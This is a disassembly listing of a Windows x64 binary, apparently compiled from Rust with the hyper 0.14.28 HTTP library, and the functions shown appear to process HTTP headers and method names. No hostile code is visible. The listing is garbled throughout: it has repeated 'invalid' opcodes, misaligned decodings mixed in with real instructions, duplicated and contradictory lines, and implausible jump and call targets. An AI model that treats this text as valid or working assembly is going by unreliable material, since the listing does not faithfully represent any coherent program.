and byte [rax - 0x75], r9b
invalid
invalid
invalid
mov rdx, qword [rsi + 0x30]
add rdx, rax
xor r8d, r8d
cmp rdx, rcx
cmovae r8, rcx
sub rdx, r8
mov rcx, qword [rsi + 0x28]
mov ecx, dword [rsi + 0x28]
mov ecx, dword [rsi + 0x28]
lea rdx, [rdx + rdx*4]
shl rdx, 4
mov qword [rcx + rdx], 0
movaps xmm0, xmmword [rsp + 0x20]
movaps xmm1, xmmword [rsp + 0x30]
movups xmmword [rcx + rdx + 8], xmm0
or byte [rdi], cl
adc dword [rcx + rdx + 0x18], ecx
or byte [rdi], cl
adc dword [rcx + rdx + 0x18], ecx
inc rax
mov qword [rsi + 0x38], rax
add rsp, 0x48
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
ret
push rax
or al, byte [rax]
add byte [rax], al
mov qword [rsp + 0x58], 0
mov byte [rsp + 0x60], 0
movaps xmmword [rsp + 0x90], xmm6
movaps xmmword [rsp + 0x80], xmm7
add byte [rax], 0
add byte [rax - 0x73], cl
mov word [rax + rsi*4], fs
add byte [rax], al
add byte [rbp + rcx*4 - 0x7c], cl
and al, 0x80
add byte [rax], al
add byte [rbp + rcx*4 + 0x4c], cl
and al, 0x40
add byte [rax], 0
add byte [rax - 0x73], cl
mov word [rax + rsi*4], fs
add byte [rax], al
add byte [rbp + rcx*4 - 0x7c], cl
and al, 0x80
add byte [rax], al
add byte [rbp + rcx*4 + 0x4c], cl
and al, 0x40
mov rdx, r14
call fcn.14004ec10
cmp byte [rsp + 0xd0], 3
je case.0x1400733b1.128
mov rax, qword [rsp + 0xd0]
mov qword [rsp + 0xa0], rax
movdqu xmm0, xmmword [rsp + 0xb0]
test byte [rax + rdx*8], ah
add byte [rax], al
add byte [rax - 0x77], cl
test byte [rax + riz*4], ah
add byte [rax], al
add bl, dh
movq mm0, qword [rsp + 0xb0]
movdqu xmm1, xmmword [rsp + 0xc0]
movdqa xmmword [rsp + 0x90], xmm1
movdqa xmmword [rsp + 0x80], xmm0
cmp al, 2
rol byte [rax], 0
add byte [rsi + 0xf], ah
jg 0x140093367
and al, 0x90
add byte [rax], al
add byte [rsi + 0xf], ah
jg 0x140093368
and al, 0x80
add byte [rax], al
add byte [rdx + rax], bh
je 0x140093410
lea rcx, [rsp + 0x98]
mov rax, qword [rsp + 0x80]
mov rdx, qword [rsp + 0x88]
mov r8, qword [rsp + 0x90]
call qword [rax + 0x10]
mov rdx, qword [rsp + 0x28]
mov byte [r14 + 0xd8], 1
mov qword [rsp + 0x168], rbx
movzx ebp, byte [rdx + 0xcf]
mov qword [rsp + 0x178], 2
mov qword [rsp + 0x198], 0
movzx r15d, byte [r14 + 0xb8]
cmp r15d, 9
mov qword [rsp + 0x38], r14
jae 0x140093741
mov eax, dword [rsp + 0xb0]
mov ecx, dword [rsp + 0xb3]
mov dword [rsp + 0x43], ecx
mov dword [rsp + 0x40], eax
movzx eax, byte [rdx + 0xa8]
cmp al, 0xb
je 0x1400934a5
cmp al, 0xa
jb 0x1400934a5
cmp qword [rdx + 0xb8], 0
je 0x1400934a5
mov r8, qword [rdx + 0xb0]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rdx, qword [rsp + 0x28]
mov byte [rdx + 0xa8], r15b
mov eax, dword [rsp + 0x40]
mov ecx, dword [rsp + 0x43]
mov dword [rdx + 0xa9], eax
mov dword [rdx + 0xac], ecx
mov qword [rdx + 0xb0], rsi
mov qword [rdx + 0xb8], rdi
cmp r12, 2
jne 0x140093551
movups xmm0, xmmword [0x14012c6d0]
movaps xmmword [rsp + 0x50], xmm0
movdqu xmm0, xmmword [0x14012c6c0]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rsp + 0xb0]
lea r8, [rsp + 0x40]
mov rdx, r14
call fcn.1400399d0
cmp byte [rsp + 0xd0], 2
je 0x140093530
lea rcx, [rsp + 0xc8]
mov rax, qword [rsp + 0xb0]
mov rdx, qword [rsp + 0xb8]
mov r8, qword [rsp + 0xc0]
call qword [rax + 0x10]
mov qword [rsp + 0x40], 1
mov qword [rsp + 0x48], 0
mov byte [rsp + 0x50], 0
mov r9, qword [rsp + 0x28]
jmp 0x140093ebb
mov r15, qword [rsp + 0x260]
movzx ebx, byte [r14 + 0xd8]
mov rcx, r14
call fcn.140037a60
mov r9, r14
mov r14, rax
mov rdi, rdx
movups xmm0, xmmword [0x14012c6d0]
cmp bl, 2
jne 0x1400936d1
movaps xmmword [rsp + 0x50], xmm0
movdqu xmm0, xmmword [0x14012c6c0]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rsp + 0xb0]
lea rbx, [rsp + 0x40]
mov rdx, r9
mov r8, rbx
call fcn.1400383d0
movzx ecx, byte [rsp + 0xe2]
cmp cl, 3
je 0x140094e73
mov rsi, qword [rsp + 0xb0]
mov rax, qword [rsp + 0xb8]
mov r13, qword [rsp + 0xc0]
movups xmm0, xmmword [rsp + 0xc8]
movaps xmmword [rsp + 0x1a0], xmm0
movdqu xmm0, xmmword [rsp + 0xd2]
movdqu xmmword [rsp + 0x1aa], xmm0
mov edx, dword [rsp + 0xe3]
mov dword [rsp + 0x120], edx
movzx edx, byte [rsp + 0xe7]
mov byte [rsp + 0x124], dl
cmp cl, 2
mov r9, qword [rsp + 0x28]
jne 0x14009379c
mov rdx, qword [rsi + 0x28]
cmp rdx, r13
jbe 0x140094dcd
mov rax, qword [rsi + 0x20]
imul rdi, r13, 0x68
mov rcx, qword [rax + rdi]
mov rax, qword [rax + rdi + 0x10]
mov qword [rsp + 0xd0], rsi
mov qword [rsp + 0xd8], r13
mov qword [rsp + 0xb0], 0
mov qword [rsp + 0xc0], rcx
mov qword [rsp + 0xc8], rax
lea rcx, [rsp + 0xb0]
call fcn.14003ac10
test al, al
jne 0x140093e0f
mov rdx, qword [rsi + 0x28]
cmp rdx, r13
jbe 0x140094ddc
mov rax, qword [rsi + 0x20]
mov rcx, qword [rax + rdi]
test rcx, rcx
je 0x1400938f7
cmp rcx, 1
jne 0x14009393b
mov rcx, qword [rax + rdi + 0x10]
mov rdx, qword [rsi + 0x40]
cmp rcx, rdx
jae case.0x140065698.202
mov rax, qword [rsi + 0x38]
lea rcx, [rcx + rcx*8]
lea r12, [rax + rcx*8]
add r12, 0x20
jmp case.0x14001a3ad.2447
movaps xmmword [rsp + 0x50], xmm0
movdqu xmm0, xmmword [0x14012c6c0]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rsp + 0xb0]
lea r8, [rsp + 0x40]
mov rdx, r9
call fcn.1400399d0
cmp byte [rsp + 0xd0], 2
add byte [rdx], al
add byte [rdx], al
je 0x140093726
lea rcx, [rsp + 0xc8]
mov rax, qword [rsp + 0xb0]
mov al, 0
add byte [rax], al
mov al, 0
add byte [rax], al
mov rdx, qword [rsp + 0xb8]
mov r8, qword [rsp + 0xc0]
call qword [rax + 0x10]
mov r9, qword [rsp + 0x28]
cmp r14, 1
jne 0x140093777
mov qword [rsp + 0x40], 1
mov qword [rsp + 0x48], rdi
jmp 0x140093792
jne 0x14009380c
movzx edi, byte [r14 + 0xc8]
mov eax, dword [r14 + 0xb9]
mov ecx, dword [r14 + 0xbc]
mov dword [rsp + 0xb3], ecx
mov dword [rsp + 0xb0], eax
mov rsi, qword [r14 + 0xc0]
jmp 0x14009345b
test r12, r12
je 0x14009389a
mov qword [rsp + 0x40], 1
mov qword [rsp + 0x48], 0
add byte [rax], al
add byte [rax - 0x39], cl
and al, 0x48
add byte [rax], al
add byte [rax], al
mov byte [rsp + 0x50], 0
jmp 0x140093ebb
mov qword [rsp + 0x40], rsi
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], r13
mov dword [rsp + 0x50], ebp
mov dword [rsp + 0x50], ebp
movaps xmm0, xmmword [rsp + 0x1a0]
movups xmmword [rsp + 0x58], xmm0
pop rax
pop rax
movdqu xmm0, xmmword [rsp + 0x1aa]
movdqu xmmword [rsp + 0x62], xmm0
mov byte [rsp + 0x72], cl
mov ecx, dword [rsp + 0x120]
mov dword [rsp + 0x73], ecx
and al, 0x73
and al, 0x73
and al, 0x73
movzx ecx, byte [rsp + 0x124]
mov byte [rsp + 0x77], cl
cmp r14, 1
jne 0x14009384b
test rax, rax
je 0x140093802
lea rcx, [rsp + 0x60]
mov r8, qword [rsp + 0x58]
and al, 0x58
and al, 0x58
mov rdx, r13
call qword [rax + 0x10]
mov r9, qword [rsp + 0x28]
mov eax, 1
jmp case.0x140065698.195
mov rax, r14
mov r14, qword [r14 + 0xc0]
mov rdi, qword [rax + 0xc8]
test rdi, rdi
je 0x1400938a6
js 0x140094f22
movzx eax, byte [0x140182310]
xor ecx, ecx
mov rdx, rdi
mov edx, edi
mov edx, edi
call fcn.1400df910
test rax, rax
je 0x140094f50
or dl, byte [rdi]
add byte [rax], al
or dl, byte [rdi]
add byte [rax], al
mov rsi, rax
jmp 0x1400938ab
cmp r12, 1
mov rsi, qword [rsp + 0x38]
jne 0x1400938c8
movzx ecx, byte [rsi + 0xb8]
cmp ecx, 7
ja case.0x140051497.226
mov dh, 0x8e
mov eax, 0x83000000
stc
invalid
invalid
mov edx, 0xa2
bt edx, ecx
jae case.0x140051497.226
test rax, rax
je 0x14009388e
lea rcx, [rsp + 0x60]
mov r8, qword [rsp + 0x58]
mov rdx, r13
call qword [rax + 0x10]
push rax
invalid
push rax
adc byte [rbx + rcx*4 + 0x4c], cl
mov r9, qword [rsp + 0x28]
mov r9, qword [rsp + 0x28]
mov eax, 1
xor edi, edi
jmp case.0x140065698.195
lea rcx, [rsp + 0x40]
mov rdx, qword [rsp + 0x38]
jmp 0x1400938e5
mov esi, 1
mov rcx, rsi
mov rdx, r14
mov r8, rdi
call fcn.140106530
mov r14, qword [rsp + 0x38]
mov rdx, qword [rsp + 0x28]
jmp 0x14009345b
test rax, rax
je 0x1400938dd
lea rcx, [rsp + 0x60]
mov r8, qword [rsp + 0x58]
mov rdx, r13
call qword [rax + 0x10]
lea rcx, [rsp + 0x40]
mov rdx, rsi
mov r8, r15
call fcn.14003b040
mov r9, qword [rsp + 0x28]
jmp 0x140093ebb
lea r12, [rax + rdi]
add r12, 0x18
mov rsi, qword [r12 + 0x10]
add rsi, 9
je 0x1400939dd
js 0x140094f22
mov byte [rsi], cl
invalid
movzx eax, byte [0x140182310]
xor ecx, ecx
mov rdx, rsi
call fcn.1400df910
test rax, rax
je 0x140094f5d
mov rcx, rax
mov rdi, qword [r12 + 0x10]
jmp 0x1400939e9
add rax, rdi
mov rdx, qword [rax + 8]
mov rcx, rsi
call fcn.14004f2f0
mov rdx, qword [rsi + 0x28]
cmp rdx, r13
jbe 0x140094df7
mov rax, qword [rsi + 0x20]
mov rcx, qword [rax + rdi + 0x38]
mov qword [rsp + 0xd0], rcx
movdqu xmm0, xmmword [rax + rdi + 0x18]
movdqu xmm1, xmmword [rax + rdi + 0x28]
movdqa xmmword [rsp + 0xc0], xmm1
movdqa xmmword [rsp + 0xb0], xmm0
lea rcx, [0x14012bcb8]
mov qword [rax + rdi + 0x18], rcx
lea rcx, str.chunkedoriginal_header_value_plus_ascii_is_validC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcheaders.rs
mov qword [rax + rdi + 0x20], rcx
mov qword [rax + rdi + 0x28], 7
mov qword [rax + rdi + 0x30], 0
add byte [rax], al
add byte [rax], al
mov byte [rax + rdi + 0x38], 0
lea rcx, [rsp + 0xc8]
mov rax, qword [rsp + 0xb0]
mov rdx, qword [rsp + 0xb8]
mov r8, qword [rsp + 0xc0]
call qword [rax + 0x10]
jmp 0x140093e0f
mov ecx, 1
mov rdi, 0xfffffffffffffff7
idiv edi
invalid
invalid
idiv edi
invalid
mov r8, rsi
shr r8, 0xa
mov eax, 0x40
add byte [rax], al
add byte [rax], al
mov edx, 0x40
je 0x140093a04
bsr rdx, r8
xor rdx, 0x3f
ror byte [rax - 0x7d], 1
invalid
sub rax, rdx
cmp rax, 7
mov edx, 7
cmovb rdx, rax
mov eax, edx
lea rax, [rax*4 + 1]
mov qword [rsp + 0x80], rcx
mov qword [rsp + 0x88], 0
mov qword [rsp + 0x90], rsi
mov qword [rsp + 0x98], rax
mov r15, qword [r12 + 8]
cmp rsi, rdi
jae 0x140093a6e
lea rcx, [rsp + 0x80]
mov rdx, rdi
call fcn.1400126f0
mov rcx, qword [rsp + 0x80]
mov rax, qword [rsp + 0x88]
add bl, ch
invalid
add bl, ch
add dh, byte [rcx]
ror byte [rax + 1], 0xc1
xor eax, eax
add rcx, rax
ror dword [rax - 0x73], 0xb4
and al, 0x90
add byte [rax], al
add byte [rcx + rcx*4 - 6], cl
mov rdx, r15
lea rsi, [rsp + 0x90]
mov rdx, r15
mov r8, rdi
call fcn.140106530
add rdi, qword [rsp + 0x88]
mov qword [rsp + 0x110], rdi
mov rax, qword [rsp + 0x90]
sub rax, rdi
add dword [rax], eax
add byte [rax - 0x75], cl
test byte [rax + rdx*4], ah
add byte [rax], al
add byte [rax + 0x29], cl
clc
jb 0x140094e9c
cmc
adc eax, dword [rax]
add byte [rax - 0x77], cl
mov esp, 0x8824
add byte [rax - 0x7d], cl
clc
add dword [rdi + 0x1a], esi
mov qword [rsp + 0x88], rdi
cmp rax, 1
ja 0x140093acf
lea rcx, [rsp + 0x80]
mov edx, 2
call fcn.1400126f0
add byte [rax], al
add al, ch
sub esp, ebp
idiv edi
mov rdi, qword [rsp + 0x88]
mov rax, qword [rsp + 0x80]
mov word [rax + rdi], 0x202c
mov rax, qword [rsp + 0x88]
mov rcx, qword [rsp + 0x90]
add rax, 2
mov qword [rsp + 0x110], rax
sub rcx, rax
jb 0x140094e9c
mov qword [rsp + 0x88], rax
cmp rcx, 6
ja 0x140093b2a
lea rcx, [rsp + 0x80]
mov edx, 7
call fcn.1400126f0
mov rax, qword [rsp + 0x88]
mov rcx, qword [rsp + 0x80]
mov dword [rcx + rax + 3], 0x64656b6e
mov dword [rcx + rax], 0x6e756863
mov r8, qword [rsp + 0x88]
mov r13, qword [rsp + 0x90]
nop
add byte [rax], al
add byte [rcx - 0x7d], cl
rol byte [rdi], 0x4c
mov dword [rsp + 0x110], eax
mov word [rax + rax*4], fs
add byte [rax], al
add bh, al
add dword [rbx], r8d
outsb dx, byte [rsi]
imul esp, dword [rbp + 0x64], 0xffffffc7
add al, 1
invalid
nop
add byte [rax], al
add byte [rcx - 0x7d], cl
rol byte [rdi], 0x4c
mov dword [rsp + 0x110], eax
cmp r8, r13
ja 0x140094e9c
mov qword [rsp + 0x88], r8
mov rdi, qword [rsp + 0x80]
mov rsi, qword [rsp + 0x98]
test sil, 1
mov byte [rcx], 0x75
invalid
mov byte [rcx], 0x75
or al, 0x4c
lea ecx, [0x14014fa88]
lea r9, [0x14014fa88]
jmp 0x140093cf5
add dword gs:[rax], eax
add byte [rax - 0x3f], cl
out dx, al
add eax, 0x4ef72948
sub rdi, rsi
lea r15, [rsi + r8]
add byte [rax], al
shr rsi, 5
sub rdi, rsi
lea r15, [rsi + r8]
cmp r8, r13
jne 0x140093bc6
call 0xc5566217
dec dword [rdi]
test byte [0x180093bab], dl
add byte [rax - 0xa], al
invalid
invalid
test r15, r15
je 0x140093cbe
invalid
add byte [rax - 0xa], al
mov dword [rcx], 0x11e850f
invalid
invalid
test dil, 1
jne 0x140093cd1
invalid
add byte [rax], al
mov rax, rdi
mov eax, edi
or rax, 1
lea r9, [0x14012a090]
or eax, 0x964cf
enter 0x4c01, 0xffffffffffffff8d
add dword [rbp + rcx*4 + 0xd], ecx
iretd
or eax, 0x964cf
or dword [rax], eax
jmp 0x140093cdb
add byte [rdi], cl
mov dh, 5
out 0xe, eax
out 0xe, eax
movzx eax, byte [0x140182310]
mov edx, 0x18
add byte [rax], al
out 0xe, eax
add byte [rdx + 0x18], bh
add byte [rax], al
xor ecx, ecx
call fcn.1400df910
test rax, rax
je 0x140094fec
or dl, byte [rax + rax]
invalid
add byte [rax - 0x7b], cl
ror byte [rdi], 0x84
or dl, byte [rax + rax]
add byte [rcx + 1], cl
add r13, rsi
cmc
mov qword [rax], rdi
mov qword [rax + 8], r13
mov qword [rax + 0x10], 1
adc byte [rcx], al
add byte [rax], al
add byte [rax], al
lea r9, [0x140114bd8]
add byte [rax], al
lea r9, [0x140114bd8]
lea ecx, [0x140114bd8]
jmp 0x140093cdb
add byte [rax], al
add byte [rax - 0x75], cl
mov rax, qword [rsp + 0x70]
mov rax, qword [rsp + 0x70]
and al, 0x70
mov qword [rsp + 0xe0], rax
mov dword [rsp + 0xe0], eax
and al, 0xe0
add byte [rax], al
add bl, dh
movq mm0, qword [rsp + 0x40]
and al, 0x40
loopne 0x140093c0b
add byte [rax], al
movdqu xmm0, xmmword [rsp + 0x40]
and al, 0x40
movdqu xmm1, xmmword [rsp + 0x50]
movq mm1, qword [rsp + 0x50]
and al, 0x50
and al, 0x50
movdqu xmm2, xmmword [rsp + 0x60]
movq mm2, qword [rsp + 0x60]
outsd dx, dword [rsi]
push rsp
and al, 0x60
movdqa xmmword [rsp + 0xd0], xmm2
movq qword [rsp + 0xd0], mm2
add byte [rax], al
add byte [rsi + 0xf], ah
jg 0x140093bb8
movdqa xmmword [rsp + 0xc0], xmm1
and al, 0xc0
add byte [rax], al
add byte [rsi + 0xf], ah
jg 0x140093bb9
add byte [rax], al
movdqa xmmword [rsp + 0xb0], xmm0
and al, 0xb0
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0x98077
ja 0x140093bbf
or dword [rax], eax
mov al, 0
add byte [rax], al
lea rax, [0x14012bcb8]
ja 0x140093bbf
or dword [rax], eax
mov qword [rsp + 0x80], rax
lea rax, str.chunkedoriginal_header_value_plus_ascii_is_validC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcheaders.rs
test byte [rax + rax*4], ah
and al, 0x80
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0x98a90
mov qword [rsp + 0x88], rax
mov qword [rsp + 0x90], 7
nop
add byte [rax], al
add byte [rdi], al
invalid
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rbx*4], ah
cwde
add byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
test byte [rax + rcx*4], ah
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rdx*4], ah
nop
nop
add byte [rax], al
add byte [rdi], al
invalid
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rbx*4], ah
cwde
invalid
cwde
add byte [rax], al
add byte [rax], al
add byte [rax], al
add dh, al
test byte [rax + riz*4], ah
add byte [rax], al
add byte [rax], al
add byte [rax], al
mov byte [rsp + 0xa0], 0
add byte [rax], al
add byte [rax], al
invalid
add byte [rax - 0x73], cl
mov word [rax + rsi*4], fs
add byte [rax], al
add byte [rax - 0x73], cl
invalid
xchg esp, eax
and al, 0x80
lea rcx, [rsp + 0xb0]
lea rdx, [rsp + 0x80]
lea edx, [rsp + 0x80]
lea edx, [rsp + 0x80]
add byte [rax], al
add al, ch
adc ecx, dword [rdx - 0x7ab70004]
invalid
call fcn.14005c6a0
test rax, rax
test eax, eax
test eax, eax
ror byte [rdi], 0x84
adc eax, dword gs:[rax]
add byte [rcx], dh
ror byte [rbx + rcx*4 + 0x4c], 0x24
sub byte [rbx + 0x159248c], cl
mov ecx, dword [rsp + 0x159]
je 0x140094ffb
xor eax, eax
mov r9, qword [rsp + 0x28]
mov ecx, dword [rsp + 0x159]
add byte [rbx + 0x15c2494], cl
add byte [rax], al
mov edx, dword [rsp + 0x15c]
and al, 0x5c
add dword [rax], eax
add byte [rcx + 0x832494], cl
add byte [rax], al
mov dword [rsp + 0x83], edx
mov dword [rsp + 0x80], ecx
jmp 0x140093e96
add dword [rax], eax
invalid
add cl, ch
fadd dword [rcx]
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rbp + rcx*4 + 0xd], cl
or eax, 0x80e23
lea r9, [0x140114ae8]
or eax, 0x80e23
add byte [rdi + 1], bh
mov edi, 1
add byte [rax], al
add byte [rcx], dh
rol byte [rbp + 0x31], 0xff
xor eax, eax
xor r15d, r15d
jmp 0x140093cdb
lea r9, [0x14012a0a8]
mov rax, rdi
shl byte [rbx + 9], 1
invalid
add byte [rax - 0x77], cl
clc
mov qword [rsp + 0x140], rsi
mov r8, r15
clc
clc
sub r8, rsi
jb 0x140094f6a
invalid
add byte [rax + 1], cl
test dword [rax - 0x77], 0x8c894cc6
invalid
invalid
invalid
invalid
add rdi, rsi
mov rsi, rax
invalid
invalid
mov qword [rsp + 0xb0], r9
mov qword [rsp + 0xb8], rdi
add byte [rax], al
invalid
and al, 0xb0
add byte [rax], al
add byte [rax - 0x77], cl
mov esp, 0xb824
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rcx + rcx*4 - 0x7c], cl
mov qword [rsp + 0xc0], r8
mov qword [rsp + 0xc8], rsi
and al, 0xc8
add byte [rax], al
invalid
and al, 0xc0
add byte [rax], al
add byte [rax - 0x77], cl
mov ah, 0x24
and al, 0xc8
add byte [rax], al
invalid
and al, 0xc8
add byte [rax], al
add byte [rbp - 0x7b], cl
sal byte [rcx + riz*2 + 0x48], 0x8d
invalid
lea rcx, [rsp + 0xc8]
xor eax, eax
jmp 0x140093d3d
invalid
nop word cs:[rax + rax]
nop dword cs:[rax + rax]
test r8, r8
je 0x140093d7b
invalid
invalid
lea rcx, [rsp + 0xc8]
add byte [rax], al
xor eax, eax
jmp 0x140093d3d
invalid
invalid
nop dword cs:[rax + rax]
invalid
cmp dl, 0x7f
je 0x140093d4b
invalid
invalid
inc rax
cmp r8, rax
ror byte [rcx + 0x39], 0xc0
je 0x140093d7b
movzx edx, byte [rdi + rax]
cmp dl, 0x1f
cli
invalid
mov dh, 0x14
invalid
cli
invalid
ja 0x140093d30
invalid
cmp dl, 9
je case.0x14006bdd6.157
mov rdx, rdi
mov edx, edi
call qword [r9 + 0x10]
push rcx
adc byte [rax - 0x73], cl
lea rax, [0x14012c770]
lea rax, [0x14012c770]
lea eax, [0x14012c770]
add byte [rax - 0x77], cl
and al, 0x20
mov qword [rsp + 0x20], rax
lea rcx, [0x14012c6e7]
or eax, 0x98982
or dword [rax], eax
lea r9, [0x14012b678]
or eax, 0x9790c
jns 0x140093d74
add byte [rbp + rcx*4 + 0x44], cl
and al, 0x37
lea r8, [rsp + 0x37]
mov edx, 0x29
add byte [rax], al
add al, ch
call fcn.1401088e0
invalid
movups xmm0, xmmword [rsp + 0xb0]
movups xmm1, xmmword [rsp + 0xc0]
mov word [rax + rax*8], fs
add byte [rax], al
invalid
test byte [rax + rsi*4], ah
and al, 0xb0
add byte [rax], al
add byte [rdi], cl
adc byte [rsp + 0xc0], cl
mov word [rax + rax*8], fs
add byte [rax], al
invalid
mov word [rax + rax*8], fs
add byte [rax], al
add byte [rdi], cl
sub dword [rsp + 0x50], ecx
and al, 0x50
movaps xmmword [rsp + 0x50], xmm1
and al, 0x50
movaps xmmword [rsp + 0xb0], xmm0
and al, 0xb0
add byte [rax], al
add byte [rax], al
movaps xmmword [rsp + 0xc0], xmm1
add byte [rax], al
movaps xmmword [rsp + 0xc0], xmm1
rol byte [rax], 0
add byte [rbx + 0x1102484], cl
adc byte [rcx], al
mov eax, dword [rsp + 0x110]
adc byte [rcx], al
add dword [rax], eax
add byte [rbx + 0x113248c], cl
adc eax, dword [rcx]
add byte [rax], al
mov ecx, dword [rsp + 0x113]
adc eax, dword [rcx]
add byte [rax], al
add byte [rcx + 0x1402484], cl
add byte [rax], al
mov dword [rsp + 0x140], eax
mov dword [rsp + 0x143], ecx
lea rcx, [r12 + 0x18]
add dword [r8], eax
add byte [rcx - 0x73], cl
and al, 0x18
mov rax, qword [r12]
mov rdx, qword [r12 + 8]
or byte [rbp - 0x75], cl
and al, 0x10
or byte [rbp - 0x75], cl
and al, 0x10
call qword [rax + 0x10]
push rax
adc byte [rsi + 0xf], ah
movdqa xmm0, xmmword [rsp + 0xb0]
invalid
invalid
movdqa xmm0, xmmword [rsp + 0xb0]
movdqa xmm1, xmmword [rsp + 0xc0]
movq mm1, qword [rsp + 0xc0]
movq mm1, qword [rsp + 0xc0]
outsd dx, dword [rsi]
mov word [rax + rax*8], fs
add byte [rax], al
add bl, dh
movq qword [r12 + 0x10], mm1
movq qword [rsp + 0x10], mm1
movdqu xmmword [r12 + 0x10], xmm1
movq qword [rsp + 0x10], mm1
jg 0x140093e35
movdqu xmmword [r12], xmm0
movq qword [rsp], mm0
mov byte [r12 + 0x20], 0
mov eax, dword [rsp + 0x140]
add dword [rax], eax
add byte [rbx + 0x143248c], cl
add byte [rax], al
add dword [rax], eax
add byte [rbx + 0x143248c], cl
add byte [rax], al
mov dword [r12 + 0x21], eax
mov dword [r12 + 0x24], ecx
and al, 0x24
and al, 0x24
mov eax, dword [rsp + 0x159]
mov ecx, dword [rsp + 0x15c]
add dword [rax], eax
add byte [rcx + 0x83248c], cl
add byte [rax], al
add dword [rax], eax
add byte [rcx + 0x83248c], cl
add byte [rax], al
mov dword [rsp + 0x80], eax
cmp r14, 1
add byte [rax], al
add byte [rcx - 0x7d], cl
inc byte [rcx]
jne 0x140093e8f
movups xmm0, xmmword [0x140143bc0]
movaps xmmword [rsp + 0x50], xmm0
movdqu xmm0, xmmword [0x140143bb0]
outsd dx, dword [rsi]
add eax, 0xafd6b
outsd dx, dword [rsi]
add eax, 0xafd6b
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rsp + 0xb0]
mov word [rax + rsi*4], fs
add byte [rax], al
add byte [rbp + rcx*4 + 0x44], cl
and al, 0x40
mov word [rax + rsi*4], fs
add byte [rax], al
add byte [rbp + rcx*4 + 0x44], cl
and al, 0x40
mov rdx, qword [rsp + 0x38]
call fcn.1400399d0
cmp byte [rsp + 0xd0], 2
je 0x140093e8f
invalid
and ecx, dword [rax - 0x73]
mov word [rax + rcx*8], fs
add byte [rax], al
add byte [rax - 0x75], cl
test byte [rax + rsi*4], ah
add byte [rax], al
add byte [rax - 0x75], cl
xchg esp, eax
and al, 0xb8
add byte [rax], al
add byte [rbx + rcx*4 - 0x7c], cl
and al, 0xc0
add byte [rax], al
add bh, bh
push rax
adc byte [rcx], dh
ror byte [rbx + rcx*4 + 0x4c], 0x24
sub byte [rax - 0x77], cl
and al, 0x40
lea rcx, [rsp + 0xc8]
mov rax, qword [rsp + 0xb0]
mov rdx, qword [rsp + 0xb8]
mov r8, qword [rsp + 0xc0]
call qword [rax + 0x10]
xor eax, eax
mov r9, qword [rsp + 0x28]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], rdi
mov byte [rsp + 0x50], 0
mov eax, dword [rsp + 0x80]
mov ecx, dword [rsp + 0x83]
mov dword [rsp + 0x51], eax
and al, 0x51
and al, 0x51
mov dword [rsp + 0x54], ecx
lea r14, [r9 + 0xd8]
add byte [rax], al
mov rsi, qword [rsp + 0x38]
mov r8, qword [rsi + 0x40]
add r8, qword [rsi + 0x28]
je 0x140093eea
cmp byte [rbx + rcx*4 + 0x46], cl
add r8, qword [rsi + 0x28]
lea rax, [r8 + r8]
lea eax, [rax + rax]
add al, 0
shl r8, 5
sub r8, rax
add r8, 0x1e
mov rax, qword [r9 + 0xd8]
fadd dword [rax]
add byte [rax], al
invalid
fadd dword [rax]
add byte [rax], al
invalid
add byte [rcx - 0x75], cl
xchg ecx, eax
call 0x188093eed
sub eax, edx
mov rdx, qword [r9 + 0xe8]
add byte [rax], al
sub rax, rdx
cmp rax, r8
cmp eax, eax
jb case.default.0x140093f12
movzx eax, byte [rsi + 0xb8]
mov edi, 7
invalid
add byte [rax], al
invalid
add byte [rdi + 7], bh
invalid
add byte [rax], al
add byte [rax - 0x73], cl
lea rcx, [0x1401787e0]
add byte [rax], al
lea rcx, [0x1401787e0]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
add eax, ecx
invalid
or dword [rax + 1], 0x48e0ffc8
add eax, ecx
jmp rax
lea rdx, str.OPTIONSGETPOSTPUTDELETEHEADTRACECONNECTPATCH
lea edx, str.OPTIONSGETPOSTPUTDELETEHEADTRACECONNECTPATCH
jmp 0x140093fbb
wait
add byte [rax], al
add byte [rax - 0x73], cl
invalid
invalid
lea rdx, [0x14012bd61]
lea edx, [0x14012bd61]
adc eax, 0x97e3a
cmp bh, byte [rsi + 9]
add byte [rdi + 6], bh
or dword [rax], eax
mov edi, 6
jmp 0x140093fbb
add byte [rax], al
add byte [rax - 0x75], cl
invalid
invalid
mov rax, qword [rsp + 0x38]
and al, 0x38
movzx edi, byte [rax + 0xc8]
cmp rdi, 0x10
invalid
add byte [rax], al
add byte [rax - 0x7d], cl
call qword [rax]
invalid
adc byte [rdi], cl
add edi, 0xf
jae 0x140094f0e
invalid
add byte [rax], al
lea rdx, [rax + 0xb9]
mov ecx, 0xeb000000
jmp 0x140093fbb
imul ecx, dword [rax - 0x73], 0x15
lea rdx, [0x14012bd5a]
mov edi, 4
add edi, dword [rsi + 9]
add byte [rdi + 4], bh
jmp 0x140093fbb
lea rdx, [0x14012bd5e]
lea edx, [0x14012bd5e]
stc
jge 0x140093f6d
add byte [rdi + 3], bh
mov edi, 3
jmp 0x140093fbb
lea rdx, [0x14012bd70]
lea edx, [0x14012bd70]
jmp 0x140093fbb
lea rdx, [0x14012bd57]
mov edi, 3
add byte [rax], al
add byte [rax], al
jmp 0x140093fbb
lea rdx, [0x14012bd67]
mov edi, 4
jmp 0x140093fbb
invalid
sub cl, byte [rax - 0x73]
adc eax, 0x97dd3
lea rdx, [0x14012bd6b]
jmp 0x140093fb6
mov rax, qword [rsp + 0x38]
mov rdx, qword [rax + 0xc0]
mov rdi, qword [rax + 0xc8]
